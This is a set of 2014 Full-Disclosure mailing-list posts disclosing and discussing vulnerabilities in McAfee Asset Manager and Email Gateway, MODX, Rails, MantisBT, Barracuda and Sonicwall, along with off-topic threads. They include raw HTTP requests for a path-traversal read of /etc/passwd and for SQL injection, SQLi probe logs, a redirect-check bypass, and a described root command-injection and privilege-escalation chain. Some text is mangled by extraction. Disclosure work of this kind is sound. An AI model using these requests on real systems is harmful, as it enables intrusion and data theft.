[Full-disclosure] McAfee Cloud SSO and McAfee Asset Manager vulns
1. Cloud SSO is vuln to unauthed XSS in the authentication audit form: 2. 1. https://twitter.com/BrandonPrry/status/445969380656943104 2. 1. 2. McAfee Asset Manager v6.6 multiple vulnerabilities 3. 4. http://www.mcafee.com/us/products/asset-manager.aspx 5. 6. Authenticated arbitrary file read 7. An unprivileged authenticated user can download arbitrary files with the permissions of the web server using the report download functionality. By generating a report, the user's browser will make a request to /servlet/downloadReport?reportFileName=blah. The user can put in a relative directory traversal attack and download /etc/passwd. 8. 9. GET /servlet/downloadReport?reportFileName=../../../../../../../../etc/passwdformat=CSV HTTP/1.1 10. Host: 172.31.16.167 11. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0 12. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 13. Accept-Language: en-US,en;q=0.5 14. Accept-Encoding: gzip, deflate 15. Referer: https://172.31.16.167/Inventory?filterColumns=curViewId=-1maintainQuery=trueformat=searchcollectorId=nullcriticality=0pageNum=1location=InventoryviewSelect=-99filterValueField=orderBy=FIREWALLEDorderBy2=SITEorderBy3=CRITICALITY_NAMEwsz=200wszCtrl_1=200action=AUDIT_REDISCOVERformatSelect= 16. Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554 17. Connection: keep-alive 18. 19. 20. 21. 22. 23. Authenticated SQL injection 24. An unprivileged authenticated user can initiate a SQL injection attack by creating an audit report and controlling the username specified in the audit report. In the below request, the 'user' parameter is susceptible to the SQL injection: 25. 26. POST /jsp/reports/ReportsAudit.jsp HTTP/1.1 27. Host: 172.31.16.167 28. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0 29. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 30. Accept-Language: en-US,en;q=0.5 31. Accept-Encoding: gzip, deflate 32. Referer: https://172.31.16.167/jsp/reports/ReportsAudit.jsp 33. Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554 34. Connection: keep-alive 35. Content-Type: application/x-www-form-urlencoded 36. Content-Length: 91 37. 38. fromDate=03-19-2014toDate=03-19-2014freetext=Severity=0AuditType=12user=Administrator -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
If you were evil, you could upload huge blobs and just take up space on the google servers. Who knows what will happen if you upload a couple hundred gigs of files. They dont disappear, they are just unretrievable afaict. It is a security risk in the sense that untrusted data is being persisted *somewhere*. Upload a couple terabytes, cause a DoS because some hdd in the DC fills up. Who knows. Sent from a computer On Mar 13, 2014, at 12:28 PM, Michal Zalewski lcam...@coredump.cx wrote: The only reasonable way to 'exploit' the bug is using youtube as a personal storage uploading non-video files to your own profile: so what? That would require a way to retrieve the stored data, which - as I understand - isn't possible here (although the report seems a bit hard-to-parse). From what I recall, you can just upload a blob of data and essentially see it disappear. We do have quite a few services where you can legitimately upload and share nearly-arbitrary content, though. Google Drive is a good example. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Yes, these are legitimate points. Sent from a computer On Mar 13, 2014, at 12:43 PM, Źmicier Januszkiewicz ga...@tut.by wrote: : you could upload huge blobs and just take up space on the google servers. How many people upload gigabytes of crappy videos on google servers, hourly? So far, the DDoS didn't happen for some reason, even considering the amount of users. There is a small potential to exploit this via a botnet, but what's the gain? YT upload breaks? Wow, so much win. By the way, why not just upload some valid, generated on the fly MPEG stream? The effect is the same if you consider the data amount, but without all the unrestricted shouts and academic vulnerabilities. 2014-03-13 18:33 GMT+01:00 Brandon Perry bperry.volat...@gmail.com: If you were evil, you could upload huge blobs and just take up space on the google servers. Who knows what will happen if you upload a couple hundred gigs of files. They dont disappear, they are just unretrievable afaict. It is a security risk in the sense that untrusted data is being persisted *somewhere*. Upload a couple terabytes, cause a DoS because some hdd in the DC fills up. Who knows. Sent from a computer On Mar 13, 2014, at 12:28 PM, Michal Zalewski lcam...@coredump.cx wrote: The only reasonable way to 'exploit' the bug is using youtube as a personal storage uploading non-video files to your own profile: so what? That would require a way to retrieve the stored data, which - as I understand - isn't possible here (although the report seems a bit hard-to-parse). From what I recall, you can just upload a blob of data and essentially see it disappear. We do have quite a few services where you can legitimately upload and share nearly-arbitrary content, though. Google Drive is a good example. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] SQL injection in MODX
1 POST /modx/connectors/lang.js.php HTTP/1.1 2 Host: 192.168.1.70 3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0 4 Accept: */* 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate 7 Referer: http://192.168.1.70/modx/manager/ 8 Cookie: PHPSESSID=v2pnqigca0qfr835vimrknh1k0 9 Connection: keep-alive 10 Content-Length: 64 11 12 ctx=mgrtopic=topmenu,file,resource,welcome,configcheckaction= Haven't worked on it at all since the initial look through. On Sun, Mar 9, 2014 at 5:39 AM, Peter W pwilhelm...@kryptoslogic.comwrote: Hello Brandon, Thank you for some interesting posts on the Full Disclosure mailing lists. Your analysis of the bug is very interesting and I would like to investigate this issue further. Could you show me what kind of requests you made to trigger the MySQL error? Thank for you time. Best regards, Peter -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] MODX SQLi from oss-sec
The author of the email to the oss-sec says he isn't sure if the linked commit fixes the issue and it should. You can exploit this possibly using a blind time or boolean sqli. This is me just playing around after doing some code analysis. Possibly other connectors are affected? No idea about whether authentication will be needed for all vectors, but in my cursory testing it needed at least a PHPSESSID cookie (maybe just get first index to get anon PHPSESSID, who knows). [2014-03-08 11:03:33] (ERROR @ /modx/connectors/lang.js.php) Error 42000 executing statement: Array ( [0] = 42000 [1] = 1064 [2] = You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=1' at line 1 ) [2014-03-08 11:03:33] (ERROR @ /modx/connectors/lang.js.php) Could not prepare context: mgr 1=1 [2014-03-08 11:03:44] (ERROR @ /modx/connectors/lang.js.php) Error 42S22 executing statement: Array ( [0] = 42S22 [1] = 1054 [2] = Unknown column 'mgr' in 'where clause' ) [2014-03-08 11:03:44] (ERROR @ /modx/connectors/lang.js.php) Could not prepare context: mgr and 1=1 [2014-03-08 11:03:54] (ERROR @ /modx/connectors/lang.js.php) Error 42S22 executing statement: Array ( [0] = 42S22 [1] = 1054 [2] = Unknown column 'mgr' in 'where clause' ) -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] MODX SQLi from oss-sec
Sorry, oss-sec link: http://seclists.org/oss-sec/2014/q1/532 On Sat, Mar 8, 2014 at 11:24 AM, Brandon Perry bperry.volat...@gmail.comwrote: The author of the email to the oss-sec says he isn't sure if the linked commit fixes the issue and it should. You can exploit this possibly using a blind time or boolean sqli. This is me just playing around after doing some code analysis. Possibly other connectors are affected? No idea about whether authentication will be needed for all vectors, but in my cursory testing it needed at least a PHPSESSID cookie (maybe just get first index to get anon PHPSESSID, who knows). [2014-03-08 11:03:33] (ERROR @ /modx/connectors/lang.js.php) Error 42000 executing statement: Array ( [0] = 42000 [1] = 1064 [2] = You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=1' at line 1 ) [2014-03-08 11:03:33] (ERROR @ /modx/connectors/lang.js.php) Could not prepare context: mgr 1=1 [2014-03-08 11:03:44] (ERROR @ /modx/connectors/lang.js.php) Error 42S22 executing statement: Array ( [0] = 42S22 [1] = 1054 [2] = Unknown column 'mgr' in 'where clause' ) [2014-03-08 11:03:44] (ERROR @ /modx/connectors/lang.js.php) Could not prepare context: mgr and 1=1 [2014-03-08 11:03:54] (ERROR @ /modx/connectors/lang.js.php) Error 42S22 executing statement: Array ( [0] = 42S22 [1] = 1054 [2] = Unknown column 'mgr' in 'where clause' ) -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] MODX SQLi from oss-sec
FWIW I believe it is this line that is vulnerable in particular. I can't
prove this at the moment though:
core/model/modx/processors/resource/getnodes.class.php:134:
(SELECT COUNT(*) FROM {$this-modx-getTableName('modResource')} WHERE
context_key = modContext.{$this-modx-escape('key')} AND id IN
({$this-defaultRootId})) 0,
On Sat, Mar 8, 2014 at 11:24 AM, Brandon Perry bperry.volat...@gmail.comwrote:
Sorry, oss-sec link:
http://seclists.org/oss-sec/2014/q1/532
On Sat, Mar 8, 2014 at 11:24 AM, Brandon Perry
bperry.volat...@gmail.comwrote:
The author of the email to the oss-sec says he isn't sure if the linked
commit fixes the issue and it should.
You can exploit this possibly using a blind time or boolean sqli. This is
me just playing around after doing some code analysis. Possibly other
connectors are affected? No idea about whether authentication will be
needed for all vectors, but in my cursory testing it needed at least a
PHPSESSID cookie (maybe just get first index to get anon PHPSESSID, who
knows).
[2014-03-08 11:03:33] (ERROR @ /modx/connectors/lang.js.php) Error 42000
executing statement:
Array
(
[0] = 42000
[1] = 1064
[2] = You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'1=1' at line 1
)
[2014-03-08 11:03:33] (ERROR @ /modx/connectors/lang.js.php) Could not
prepare context: mgr 1=1
[2014-03-08 11:03:44] (ERROR @ /modx/connectors/lang.js.php) Error 42S22
executing statement:
Array
(
[0] = 42S22
[1] = 1054
[2] = Unknown column 'mgr' in 'where clause'
)
[2014-03-08 11:03:44] (ERROR @ /modx/connectors/lang.js.php) Could not
prepare context: mgr and 1=1
[2014-03-08 11:03:54] (ERROR @ /modx/connectors/lang.js.php) Error 42S22
executing statement:
Array
(
[0] = 42S22
[1] = 1054
[2] = Unknown column 'mgr' in 'where clause'
)
--
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website
--
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website
--
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] OT What is happening with bitcoins?
1. The people losing their bitcoins from hacks were amateurs at software engineering. 2. One of bitcoins greatest purported strengths (anonymity) is becoming a severe weakness because you cant easily track down who stole the bits. 3. I dont think any of this is a result of bugs in bitcoin. Sent from a computer On Mar 6, 2014, at 9:06 AM, Georgi Guninski gunin...@guninski.com wrote: Read on theregister that bitcoins are in trouble. Allegedly mtgox lost $400M maybe related to transactions. Are the bugs in bitcoin or just sufficiently many ones got rooted? Is bitcoin still alive? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Rails and redirections
Currently, passing \0, \r, or \n into a URL that is passed to redirect_to has Rails gsub'ing them out of the URL before completing the redirect. A programmer that doesn't realise this is happening could easily write a regex and logic that says if url starts with https:// or http:// fail or else redirect_to url. Seems straighforward, but an attacker could simply pass in a url like \nhttp://www.google.com and bypass the regex check and be redirected to google.com. The line effecting this is line 106 in redirecting.rb in Rails. https://github.com/rails/rails/blob/3-2-stable/actionpack/lib/action_controller/metal/redirecting.rb#L106 I feel like this is something that Rails should not be doing on behalf of the programmer. The programmer should be expected to pass in exactly what they want redirected to without Rails changing their data. Should this be considered a vulnerability? Thoughts? -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Rails and redirections
I agree, an exception is the correct behavior. On Thu, Mar 6, 2014 at 2:10 PM, Timothy Goddard t...@goddard.net.nz wrote: Very interesting, could cause issues. It can't use the value and not substitute - that's worse. Have seen response splitting in mod_perl because it outputs raw strings in to location headers. In my view it should raise an exception if not a valid URI. Sent from Samsung Mobile Original message From: Brandon Perry bperry.volat...@gmail.com Date: To: full-disclosure@lists.grok.org.uk Subject: [Full-disclosure] Rails and redirections Currently, passing \0, \r, or \n into a URL that is passed to redirect_to has Rails gsub'ing them out of the URL before completing the redirect. A programmer that doesn't realise this is happening could easily write a regex and logic that says if url starts with https:// or http:// fail or else redirect_to url. Seems straighforward, but an attacker could simply pass in a url like \nhttp://www.google.com and bypass the regex check and be redirected to google.com. The line effecting this is line 106 in redirecting.rb in Rails. https://github.com/rails/rails/blob/3-2-stable/actionpack/lib/action_controller/metal/redirecting.rb#L106 I feel like this is something that Rails should not be doing on behalf of the programmer. The programmer should be expected to pass in exactly what they want redirected to without Rails changing their data. Should this be considered a vulnerability? Thoughts? -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Rails and redirections
FWIW this particular line has been present since early 2012. f52ad6cf actionpack/lib/action_controller/metal/redirecting.rb (Aaron Patterson 2012-03-15 14:56:50 -0700 106) end.gsub(/[\0\r\n]/, '') On Thu, Mar 6, 2014 at 7:11 PM, Brandon Perry bperry.volat...@gmail.comwrote: I agree, an exception is the correct behavior. On Thu, Mar 6, 2014 at 2:10 PM, Timothy Goddard t...@goddard.net.nzwrote: Very interesting, could cause issues. It can't use the value and not substitute - that's worse. Have seen response splitting in mod_perl because it outputs raw strings in to location headers. In my view it should raise an exception if not a valid URI. Sent from Samsung Mobile Original message From: Brandon Perry bperry.volat...@gmail.com Date: To: full-disclosure@lists.grok.org.uk Subject: [Full-disclosure] Rails and redirections Currently, passing \0, \r, or \n into a URL that is passed to redirect_to has Rails gsub'ing them out of the URL before completing the redirect. A programmer that doesn't realise this is happening could easily write a regex and logic that says if url starts with https:// or http:// fail or else redirect_to url. Seems straighforward, but an attacker could simply pass in a url like \nhttp://www.google.com and bypass the regex check and be redirected to google.com. The line effecting this is line 106 in redirecting.rb in Rails. https://github.com/rails/rails/blob/3-2-stable/actionpack/lib/action_controller/metal/redirecting.rb#L106 I feel like this is something that Rails should not be doing on behalf of the programmer. The programmer should be expected to pass in exactly what they want redirected to without Rails changing their data. Should this be considered a vulnerability? Thoughts? -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] CVE-2014-2238 -- MantisBT aux mod
Hi, Here is an aux mod that exploits CVE-2014-2238 and reads a file off the FS. Requires admin creds afaict. https://gist.github.com/brandonprry/9330240 -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Hacking in Schools
I, for one, believe lumberjack skills are a must have for anyone entering the workforce today. The ability to hack trees down swiftly and efficiently is something i am not willing to train my employees to do. I fully expect our school systems to cover this in enough detail that, as an employer, I can expect recent graduates to hit the ground running. Just my 2c. Sent from a computer On Feb 25, 2014, at 8:33 AM, Pete Herzog li...@isecom.org wrote: How to teach hacking in school and open up education: https://opensource.com/education/14/2/teach-hacking-schools-open-education Sincerely, -pete. -- Pete Herzog - Managing Director - p...@isecom.org ISECOM - Institute for Security and Open Methodologies Need impartial, expert advice? Request a call: http://clarity.fm/peteherzog ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] CVE-2012-2627 not *really* fixed
On version 11.01 of Sonicwall scrutinizer (downloaded at www.mysonicwall.com), it seems that the problem was not actually fixed? The open upload handler still exists, but it fails on the move_uploaded_file line because the directory that it attempts to move the file to (on linux at least) does not exist. https://gist.github.com/anonymous/8969165 -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Barracuda Load Balancer Remote Authenticated Root
liek hey guyz I found this and don't know what to do with it, so here you go. Needs admin creds. An admin can run commands on Barracuda Load Balancers by using a specially crafted NTP server. These are run in the context of the root user. https://gist.github.com/brandonprry/8947140 https://www.barracuda.com/purchase/evaluation/product/bbfv Tested against 4.2.2.007 340-series VM. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] CVE-2014-1610 description incorrect
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-1610 It states that authentication is required to exploit this and this is not true. What does require authentication usually is uploading the file. If there is already a djvu file that has been uploaded by another user, you do not need authentication to exploit this. https://gist.github.com/brandonprry/8746891 I believe this should be revised as the exploit itself does not require authentication. I think that will also result in a score change as well. -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Making waves on Twitter!
I think the only way to solve this debate is a Celebrity Deathmatch-style stand off. I will get the petition ready on https://wwws.whitehouse.gov/petitions. Stay tuned. On Fri, Jan 24, 2014 at 9:05 AM, David Kennedy da...@derbycon.com wrote: Y, whats up. This dude is crazy and probably Waylon Krush (can't confirm that). He's been tweeting each news organization in an attempt to throw a bunch of crap out there. Make your own determination, but I'm not the only one that's found it. First it was I absolutely had access to 70k and I'm the next Weev and should be arrested, now it's I've morphed myself into a media whore. Regardless, when its fixed, I'll post as I've always said. Even did a full writeup and updates explaining everything: https://www.trustedsec.com/january-2014/explaining-security-issues-healthcare-gov/ Dude keeps changing and morphing the story into a bunch of different things and changing the story. Happy to explain whenever and I'm not the only one who came to the same damn conclusion, 7 others did as well that were under NDA. Make your own determination, I've always done things on ethics and being up front, not hiding in the shadows and claiming insane things behind cloak and daggers. -Dave truthinallthi...@hushmail.me via lists.grok.org.uk Jan 22 (2 days ago) to root, full-disclosure This site is making waves on twitter: http://7in4mins.wordpress.com/ So what say you? Has our dear sweet Lord of the SET hacked healthcare.gov? http://healthcare.gov/? Or did he lie about what is really going on to get close to his hero's at Fox News? Has the spotlight turned him into another Gregory Evans? Desperate and willing to do anything for his next hit of the spotlight? Or did he find a way to have Google let him do 70,000 searches in four mins like he claims? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Making waves on Twitter!
So, here are the problems I have with both sides of this debate right now. I wouldn't normally play along with politics like this, but it's a nice Sunday afternoon, and I am feeling saucy. I post this is an open forum because I believe this debate is useful in an open forum and I don't believe that Dave should be going up against polidiots in Congress alone. Let's think about what is happening. Our claim is that healthcare.gov is is insecure. We are the ones making that claim, and so the burden of proof is on us. They have effectively proven that they had some sort of pen tests done (who knows the scope, or how much risk was simply accepted). However, the only way to prove that the website is truly insecure is to break the law. They know this (and let's not forget there is extreme bias here). You need to look at this from the point of view of the people you are trying to convince. I hate this term passive reconnoissance because the people you are trying to convince have *no* idea what this means. You are either using the website in the way it was intended or you are not (their POV, not mine). That paints a black and white picture that could fall under the CFAA. In fact, passive recon sounds like something the NSA does to collect metadata. Just saying. Krush obviously has no idea how software development works. Yes, let's build honeypots into our extremely time-crunched multi-million dollar web application instead of actually building security measures in. That makes perfect sense. However, he is playing the political game that Dave is not. He knows exactly who is audience is, and plays straight into their hand. He is telling them anything vaguely technical that backs up the story that everything is secure. And you can't prove that what he is saying isn't true. The fact that no real data is stored permanently (a point that both the Congress people and Krush make repeatedly) is no point at all. TJX and Target both had all their data stolen in transit (memory scanning malware). Nieman Marcus and Michaels are now likely in that boat as well. This is the perfect time to refute their point since it is fresh on everyone's mind. Any data existing on those servers at any given point in time should be considered at risk. There needs to be a solid story on the 70,000 number. Is there source code available for these scripts? Dave is going to get clobbered on this if he can't show exactly what this means. Anyone that is technical probably understands what is happening, but to anyone who doesn't know what an HTTP request is, the explanations are very soft and confusing (most media outlets?). This doesn't work in favor of the arguments because it makes it seem like something is being hidden. In the end, this is a political problem. Not a technical problem. You can throw out hard numbers (hell, they might even be correct), and they can put words in your mouth and twist what you say to discredit you and you lose. Politicking is all about 10 second sound bites. That is their game right now. Not to prove Dave wrong, but to discredit him. Let's recap: we can't prove the website is insecure without breaking the law, and our politichildren are not concerned about proving it is secure. They probably don't even know what secure means when it comes to technical systems like healthcare.gov. I believe Dave is approaching this as a technical problem, when this is actually a political problem. For the hell of it, I will drop a Reaganism[1]: Trust, but verify. We are effectively being told trust us, it is secure. We should be saying, Fine, we trust you. Let us verify. Our tax dollars built the system. Maybe we should be allowed to view the source code. I don't really expect any replies, but I love to eat crow. Feel free to teach me something. /me grabs some popcorn [1]. I believe Reagan stole this from the Russians. On Sun, Jan 26, 2014 at 3:03 PM, David Kennedy da...@derbycon.com wrote: As long as it involves the death star creation we may have a chance.. On Jan 26, 2014 9:57 PM, Brandon Perry bperry.volat...@gmail.com wrote: I think the only way to solve this debate is a Celebrity Deathmatch-style stand off. I will get the petition ready on https://wwws.whitehouse.gov/petitions. Stay tuned. On Fri, Jan 24, 2014 at 9:05 AM, David Kennedy da...@derbycon.comwrote: Y, whats up. This dude is crazy and probably Waylon Krush (can't confirm that). He's been tweeting each news organization in an attempt to throw a bunch of crap out there. Make your own determination, but I'm not the only one that's found it. First it was I absolutely had access to 70k and I'm the next Weev and should be arrested, now it's I've morphed myself into a media whore. Regardless, when its fixed, I'll post as I've always said. Even did a full writeup and updates explaining everything: https://www.trustedsec.com/january-2014/explaining-security-issues-healthcare-gov/ Dude keeps changing and morphing the story into a bunch
Re: [Full-disclosure] Happy Holidays / Xmas Advisory
That is the obvious way to reduce DB calls when authenticating. Duh. On 12/26/2013 03:55 AM, PsychoBilly wrote: [[ Henri Salo ]] @ [[ 24/12/2013 18:33 ]]-- On Tue, Dec 24, 2013 at 11:26:15AM +0100, joernchen wrote: A rather informal advisory on Fat Free CRM (http://fatfreecrm.com/): I created https://github.com/fatfreecrm/fat_free_crm/issues/300 for tracking. --- Henri Salo ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ I really like the full user db listing feature view-source:http://demo.fatfreecrm.com/login ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] McAfee Email Gateway multiple vulns
McAfee Email Gateway 7.6 multiple vulnerabilities
http
http://www.mcafee.com/us/products/email-gateway.aspx://http://www.mcafee.com/us/products/email-gateway.aspx
www
http://www.mcafee.com/us/products/email-gateway.aspx.http://www.mcafee.com/us/products/email-gateway.aspx
mcafee
http://www.mcafee.com/us/products/email-gateway.aspx.http://www.mcafee.com/us/products/email-gateway.aspx
com
http://www.mcafee.com/us/products/email-gateway.aspx/http://www.mcafee.com/us/products/email-gateway.aspx
us
http://www.mcafee.com/us/products/email-gateway.aspx/http://www.mcafee.com/us/products/email-gateway.aspx
products
http://www.mcafee.com/us/products/email-gateway.aspx/http://www.mcafee.com/us/products/email-gateway.aspx
email
http://www.mcafee.com/us/products/email-gateway.aspx-http://www.mcafee.com/us/products/email-gateway.aspx
gateway
http://www.mcafee.com/us/products/email-gateway.aspx.http://www.mcafee.com/us/products/email-gateway.aspx
aspx http://www.mcafee.com/us/products/email-gateway.aspx -- Has free
trial
Many instances of SQL injection were found as an unprivileged read-only
authenticated user that allow the user to completely take over the accounts
of other users by using a stacked injection technique to run UPDATE
statements. Other techniques available are error-based, time-based, and
boolean-based injections.
Several remote command execution vulnerabilities were found as an
administrator which are run as the local root user. By utilising the SQL
injections as an unprivileged user, a user can escalate privileges by
updating the password hash of an admin, and ultimately run commands on the
server as root.
However, no data seems to be able to be exfiltrated via the command
injections. You may receive a connect back, but no commands can be run over
the connect-back. My solution to this was to pipe the results of commands
into a file in /tmp, then use the SQL injections to read the file from the
FS and return the results.
---
As a read-only user with reporting capabilities, many SQL injection vectors
exist when creating new reports based on filters. You can get to this part
of the web app by clicking the Reports menu item at the top-center. The
following request contains four exploitable SQL injections each exploitable
via a few different techniques:
POST /admin/cgi-bin/rpc/doReport/18 HTTP/1.1
Host: 172.31.16.87:10443
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:25.0) Gecko/20100101
Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain; charset=UTF-8
Referer:
https://172.31.16.87:10443/admin/969bf547d36f6c7e4302952cf72a5ce3/en_US/html/index.html
Content-Length: 626
Cookie:
SCMUserSettings=lastUser%3Dusername%26popcheck%3D1%26lang%3Den_US%26last_page_id%3Ddashboard;
SHOW_BANNER_NOTICE=BannerShown%3D1;
ws_session=SID%3D616BF3CC-DA8B-401D-9220-ACED9A0FCD86
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
{id:loadreport,locale:en_US,commands:[{name:getDDSData,args:{what:[events],filters:{filter_period:week,start_date:Now,event_type:ui_events,event_id:all,reason:all},date_range:week,events_col:edate,events_order:DESC,events_offset:0,events_nitems:50,tz:480,start_date:1385491876.405,is_mail:false,itemized_nitems:10,itemized_offset:0,emailstatus_nitems:50,emailstatus_offset:0,emailstatus_col:edate,emailstatus_order:DESC,dig_filters:[],dig_category:,dig_summarize:true,init:true,type:ui_events}}],filterType:system,autoconv:1}
Within the above request, the events_col, event_id, reason, events_order,
emailstatus_order, and emailstatus_col JSON keys are vulnerable to SQL
injection. You can capture the request with burpsuite and alter each value
by adding an apostrophe to view the SQL error in the response. You can also
use SQLmap to try various techniques for exploitability.
--
Many remote command execution vulnerabilities exist for administrator
users. Every vector I found was being run as the root user and they all
exists within a single request. As an administrator, go to the System tab
in the top menu. You will be presented with general server settings. Remove
the last letter of the hostname, and replace it back. You will now have a
green checkmark in the top right of the web application. Click this, then
click OK on the dialog that pops up in the web app. The next captured
request will be the request susceptible to command execution. It is a very
large request with XML contained in JSON. Because this makes sense.
Within this XML, you may search for any XML element whose “name” attribute
contains TestFile. Any of these elements are susceptible to command
injection within the “value” attribute. These filenames seems to be passed
to a utility like ‘test’ to ensure whether or not it exists. By using shell
metacharacters,
[Full-disclosure] TouchID and !simple passcodes
So, playing around with my new handy-dandy iPhone 5s, enabled a strong passcode 20 characters long. I notice however, if I use TouchID to login while on the passcode screen (slide over to it after unlocking, then log in with TouchID), ~10 characters are entered into the passcode text box before I am logged in. Has anyone ever researched this behaviour? I have heard arguments that it is simply a cosmetic feature with random text or something, but that really makes no sense to me. My main concern is if this short little string that I have no control over can also unlock my phone, it will be bruteforced before my actual passcode (couldn't care less about the iphone personally, a toy). That would mean TouchID is actually making my phone less secure under the guise of being more secure (gasp!). Not saying this is some Apple backdoor, could just be a design flaw. Also, if it is a hash of some kind limited to a-f0-9, that greatly decreases the space needed to bruteforce a string this length. :/ But that is wild ass speculation. I am not being too conspiratorial, as I just find it very curious behaviour and don't find something like that being just cosmetic realistic. Totally willing to eat crow though. Any thoughts? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
